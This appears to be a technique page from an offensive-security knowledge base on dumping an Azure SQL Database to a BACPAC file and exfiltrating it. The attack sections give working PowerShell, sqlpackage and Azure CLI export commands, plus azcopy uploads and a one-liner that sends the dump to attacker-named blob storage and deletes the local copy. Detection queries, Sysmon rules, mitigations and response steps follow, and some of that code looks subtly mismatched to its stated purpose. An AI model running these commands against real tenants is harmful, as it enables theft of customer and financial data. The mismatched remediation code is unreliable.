| Attribute | Details |
|---|---|
| Technique ID | COLLECT-DATA-002 |
| MITRE ATT&CK v18.1 | Transfer Data to Cloud Account (T1537) |
| Tactic | Collection, Exfiltration |
| Platforms | Entra ID (Azure) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure SQL Database all tiers, SqlPackage 18.0+, PowerShell Az.Sql 4.0+ |
| Patched In | N/A - No patch available; depends on RBAC and network controls |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure SQL Database exfiltration involves exporting entire database contents (schema + data) to a BACPAC file (SQL backup format) and transferring it to attacker-controlled storage. An attacker with SQL admin credentials or Entra ID user with appropriate RBAC roles can trigger database export operations via Azure Portal, PowerShell, Azure CLI, or SqlPackage. The BACPAC file is written to Azure Blob Storage, which can then be exfiltrated via AzCopy or downloaded locally.
Attack Surface: SQL Server admin credentials, Entra ID accounts with SQL Database Contributor or Global Admin roles, Managed Identities with SQL permissions, network connectivity to Azure SQL endpoints (port 1433).
Business Impact: Complete compromise of SQL database. Attackers gain offline access to entire datasets including customer records, financial transactions, authentication credentials, and trade secrets. BACPAC files can be restored on attacker’s SQL Server or analyzed offline.
Technical Context: BACPAC export typically completes within 15-60 minutes depending on database size (tested on 500 GB database). Export is logged in Azure Activity Log but often misses detection if monitoring is not configured for export operations.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1.2, 4.1.3 | Database Activity Monitoring, encryption at rest |
| DISA STIG | SV-213887 | Ensure SQL database is encrypted at rest (TDE) |
| NIST 800-53 | AC-3, SC-13 | Access Control, Cryptographic Protection |
| GDPR | Art. 32 | Security of Processing – Encryption, access control |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.10.1.3 | Segregation of duties for database administration |
| ISO 27005 | Scenario: “Database credential compromise” | Risk of unauthorized data extraction |
Supported Versions:
Tools:
# Connect to Azure
Connect-AzAccount
# List all SQL databases in subscription
Get-AzSqlDatabase -ResourceGroupName "rg-name" | Select-Object ResourceGroupName, ServerName, DatabaseName, Edition, CurrentServiceObjectiveName
# Check if database encryption (TDE) is enabled
Get-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName "rg-name" -ServerName "sql-server" -DatabaseName "database-name"
# Get database size and maximum size
Get-AzSqlDatabase -ResourceGroupName "rg-name" -ServerName "sql-server" -DatabaseName "database-name" | Select-Object Edition, MaxSizeBytes
# List SQL Server firewall rules (check for public access)
Get-AzSqlServerFirewallRule -ResourceGroupName "rg-name" -ServerName "sql-server"
# Check if server has Entra ID admin configured
Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName "rg-name" -ServerName "sql-server"
What to Look For:
# List SQL databases
az sql db list --resource-group rg-name --server sql-server --output table
# Get database properties
az sql db show --resource-group rg-name --server sql-server --name database-name --query "{Edition:edition, MaxSize:maxSizeBytes, ServiceObjective:requestedServiceObjectiveName}"
# Check TDE status
az sql db tde show --resource-group rg-name --server sql-server --database database-name
Supported Versions: All Azure SQL Database tiers
Objective: Acquire authentication credentials for Azure SQL Database
Command:
# If using SQL authentication, retrieve or set SQL admin credentials
$sqlAdminUsername = "sqladmin"
$sqlAdminPassword = "ComplexPassword123!" # In real attack, compromised from environment
# If using Entra ID, get current user token (already authenticated via Connect-AzAccount)
$context = Get-AzContext
$token = $context.Account.ExtendedProperties
Objective: Create storage account and container to receive exported BACPAC file
Command:
# Get storage account context
$storageAccount = Get-AzStorageAccount -ResourceGroupName "rg-name" -Name "storage-account"
$storageContext = $storageAccount.Context
# Create container if it doesn't exist
New-AzStorageContainer -Name "bacpac-exports" -Context $storageContext -Permission Off -ErrorAction SilentlyContinue
# Generate SAS URI for BACPAC file
$sasToken = New-AzStorageAccountSASToken -Service Blob -ResourceType Container, Object `
-Permission "racwd" -ExpiryTime (Get-Date).AddHours(2) -Context $storageContext
$bacpacUri = "https://$($storageAccount.StorageAccountName).blob.core.windows.net/bacpac-exports/export_$(Get-Date -Format 'yyyyMMdd_HHmmss').bacpac$sasToken"
Objective: Initiate database export operation to blob storage
Command:
# Define export parameters
$exportRequest = New-AzSqlDatabaseExport `
-ResourceGroupName "rg-name" `
-ServerName "sql-server" `
-DatabaseName "database-name" `
-StorageKeyType "StorageAccessKey" `
-StorageKey ($storageAccount.Context.StorageAccount.Credentials.ExportBase64EncodedKey) `
-StorageUri $bacpacUri `
-AdministratorLogin $sqlAdminUsername `
-AdministratorLoginPassword (ConvertTo-SecureString $sqlAdminPassword -AsPlainText -Force)
# Monitor export progress
$exportStatus = Get-AzSqlDatabaseImportExportStatus -OperationStatusLink $exportRequest.OperationStatusLink
while ($exportStatus.Status -eq "InProgress") {
Write-Host "Export in progress: $($exportStatus.StatusMessage)"
Start-Sleep -Seconds 30
$exportStatus = Get-AzSqlDatabaseImportExportStatus -OperationStatusLink $exportRequest.OperationStatusLink
}
Write-Host "Export Status: $($exportStatus.Status)"
Expected Output:
Export in progress: The export operation is in progress (approx 15% complete)
Export in progress: The export operation is in progress (approx 42% complete)
Export in progress: The export operation is in progress (approx 78% complete)
Export Status: Succeeded
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Azure SQL versions (if network access available)
Command:
# Download and extract SqlPackage (if not already installed)
choco install sqlpackage # Windows (requires Chocolatey)
# OR manually download from Microsoft
# Verify installation
sqlpackage.exe -version
Command:
# Export using SqlPackage with Entra ID token
sqlpackage.exe /Action:Export ^
/SourceServerName:"sqlserver.database.windows.net" ^
/SourceDatabaseName:"database-name" ^
/SourceUser:"entra_user@company.onmicrosoft.com" ^
/SourcePassword:"EntraIDPassword" ^
/TargetFile:"C:\temp\database_export.bacpac"
# Alternative: Using SQL Server authentication
sqlpackage.exe /Action:Export ^
/SourceConnectionString:"Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=database-name;Persist Security Info=False;User ID=sqladmin;Password=Password123!;Encrypt=True;Connection Timeout=30;" ^
/TargetFile:"C:\temp\database_export.bacpac"
Expected Output:
*** Microsoft.SqlServer.Dac.DacServices
Action: Export
Exporting database...
Database export succeeded.
Total execution time: 00:45:23.456
Command:
# Upload to attacker-controlled blob storage
$bacpacPath = "C:\temp\database_export.bacpac"
$storageUri = "https://attacker-storage.blob.core.windows.net/stolen-data/db.bacpac?<SAS_token>"
azcopy copy $bacpacPath $storageUri
# Or use AzCopy login with attacker tenant
azcopy login --tenant-id <attacker-tenant-id>
azcopy copy $bacpacPath "https://attacker-storage.blob.core.windows.net/stolen-data/db.bacpac"
# Clean up local file
Remove-Item $bacpacPath -Force
Supported Versions: Azure CLI 2.50+
Command:
# Export database to blob storage
az sql db export --resource-group rg-name \
--server sql-server \
--name database-name \
--admin-user sqladmin \
--admin-password "Password123!" \
--storage-key "<storage-account-key>" \
--storage-key-type StorageAccessKey \
--storage-uri "https://storage.blob.core.windows.net/container/db.bacpac"
Version: 18.8 (Current) Minimum Version: 16.0 Supported Platforms: Windows, Linux, macOS
Installation:
# Windows (via Chocolatey)
choco install sqlpackage
# Linux (manual)
wget https://go.microsoft.com/fwlink/?linkid=2157202 -O sqlpackage.zip
unzip sqlpackage.zip -d /opt/sqlpackage
chmod +x /opt/sqlpackage/sqlpackage
# macOS
brew install microsoft-sqlpackage
One-Liner (Export + Upload):
sqlpackage /Action:Export /SourceConnectionString:"Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=db;Persist Security Info=False;User ID=admin;Password=Pass123!;Encrypt=True;" /TargetFile:db.bacpac && azcopy copy db.bacpac "https://attacker.blob.core.windows.net/stolen/" && rm db.bacpac
SPL Query:
sourcetype="azure:aad:audit" OperationName="Export database"
| stats count by InitiatedBy.user.userPrincipalName, TargetResources{}.displayName, properties.result
| where count > 0
Manual Configuration Steps:
> 0 resultsKQL Query:
AuditLogs
| where OperationName == "Export database" or OperationName == "Create or Update Database"
| where Result == "Success"
| join kind=inner (
AuditLogs
| where OperationName == "Get storage account key"
| project RequesterObjectId, TimeGenerated as StorageKeyTime
) on InitiatedBy.user.id == RequesterObjectId
| where TimeGenerated - StorageKeyTime between (0min .. 10min)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName, TargetResources[0].displayName
Manual Configuration Steps (Azure Portal):
10 minutesEvent ID: 4688 (A new process has been created)
sqlpackage.exe, az.exe, or PowerShell with SQL export cmdletsCommandLine contains "Export" AND CommandLine contains "Database"Manual Configuration Steps (Group Policy):
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -Force
gpupdate /forceMinimum Sysmon Version: 13.0+ Supported Platforms: Windows
<Sysmon schemaversion="4.81">
<!-- Detect SqlPackage execution -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">sqlpackage.exe</Image>
<CommandLine condition="contains">/Action:Export</CommandLine>
<CommandLine condition="contains">/TargetFile</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect PowerShell SQL export cmdlets -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">New-AzSqlDatabaseExport</CommandLine>
<CommandLine condition="contains">az sql db export</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor network connections to Azure SQL endpoints -->
<RuleGroup name="" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">.database.windows.net</DestinationHostname>
<DestinationPort condition="is">1433</DestinationPort>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Alert Name: “Suspicious SQL database export detected”
Manual Configuration Steps (Enable Defender for Cloud):
Search-UnifiedAuditLog -Operations "Export database" -StartDate (Get-Date).AddDays(-7) | Select-Object UserIds, ClientIP, AuditData | Export-Csv -Path "C:\Logs\sql_exports.csv"
AuditData.Properties.TargetResources[].displayName for database namesEnable Transparent Data Encryption (TDE) with Customer-Managed Keys (CMK)
Objective: Ensure exported BACPAC file is encrypted with keys outside attacker control
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Create Azure Key Vault key
$vaultName = "kv-sql-keys"
$keyName = "tde-key"
$key = Add-AzKeyVaultKey -VaultName $vaultName -Name $keyName -Destination Software
# Enable TDE with CMK
Set-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName "rg-name" `
-ServerName "sql-server" `
-Type AzureKeyVault `
-KeyId $key.ID
Enforce Entra ID Authentication Only (Disable SQL Authentication)
Objective: Eliminate SQL password-based access vector
Manual Steps (PowerShell):
# Disable SQL Server admin login (if only Entra ID auth needed)
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" `
-SqlAdministratorCredentials $null -Force
# Alternatively, set minimum TLS version to 1.2 (blocks legacy SQL auth attempts)
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" `
-MinimalTlsVersion "1.2"
Restrict Database Export via Azure Policy
Objective: Require approval or block database exports
Manual Steps (PowerShell):
# Create custom Azure Policy to deny export operations
$policyDefinition = @{
"Name" = "Deny-SQL-Database-Export"
"DisplayName" = "Deny SQL Database Export"
"PolicyRule" = @{
"if" = @{
"allOf" = @(
@{
"field" = "type"
"equals" = "Microsoft.Sql/servers/databases/extensions"
},
@{
"field" = "Microsoft.Sql/servers/databases/extensions/type"
"equals" = "import"
}
)
},
"then" = @{
"effect" = "Deny"
}
}
}
New-AzPolicyDefinition -Policy $policyDefinition
Validation Command (Verify Fix):
# Verify TDE is enabled with CMK
Get-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName "rg-name" -ServerName "sql-server"
# Verify Entra ID admin is configured
Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName "rg-name" -ServerName "sql-server"
Expected Output (If Secure):
ServerKeyType: AzureKeyVault (not "ServiceManaged")
KeyVaultKeyId: /subscriptions/.../keys/tde-key
Process Names:
sqlpackage.exeaz.exe (Azure CLI)New-AzSqlDatabaseExportCloud Audit Operations:
OperationName: "Export database"OperationName: "Get storage account key" (preceding export)OperationName: "List database primary keys"Network:
*.database.windows.net on port 1433Cloud Logs:
Microsoft.Sql/servers/databases/extensions/import operationBACKUP_DATABASE eventsAuditLogs table with InitiatedBy.user.userPrincipalName and TargetResources[].displayNameDisk (if SqlPackage used locally):
C:\temp\database_export.bacpac1. Containment (0-5 minutes):
# Disable SQL Server admin login
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" -SqlAdministratorCredentials $null
2. Investigation (5-30 minutes):
# Get export history
Get-AzResourceGroupDeploymentOperation -ResourceGroupName "rg-name" -DeploymentName "*" | Where-Object { $_.Properties.ProvisioningOperation -contains "Create" }
# List recently accessed blobs
Get-AzStorageBlob -Container "bacpac-exports" -Context $storageContext | Where-Object { $_.LastModified -gt (Get-Date).AddHours(-24) }
3. Remediation (30-60 minutes):
# Rotate SQL admin password
$newPassword = "NewComplexPassword$(Get-Random)"
Set-AzSqlServerAuditingPolicy -ResourceGroupName "rg-name" -ServerName "sql-server" `
-AuditType Table -StorageEndpoint "https://storage.blob.core.windows.net" `
-StorageAccountName "storage" -StorageKeyType "Primary"
# Delete exported BACPAC file
Remove-AzStorageBlob -Blob "export_*.bacpac" -Container "bacpac-exports" -Context $storageContext
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes Entra ID credentials |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker adds themselves as SQL DB Contributor |
| 3 | Collection | [COLLECT-DATA-002] Azure SQL Database Dump | Attacker exports database to BACPAC |
| 4 | Exfiltration | [COLLECT-DATA-001] Blob Storage Exfiltration | Attacker transfers BACPAC via AzCopy |
| 5 | Impact | [IMPACT-001] Data Destruction | Attacker deletes database backups |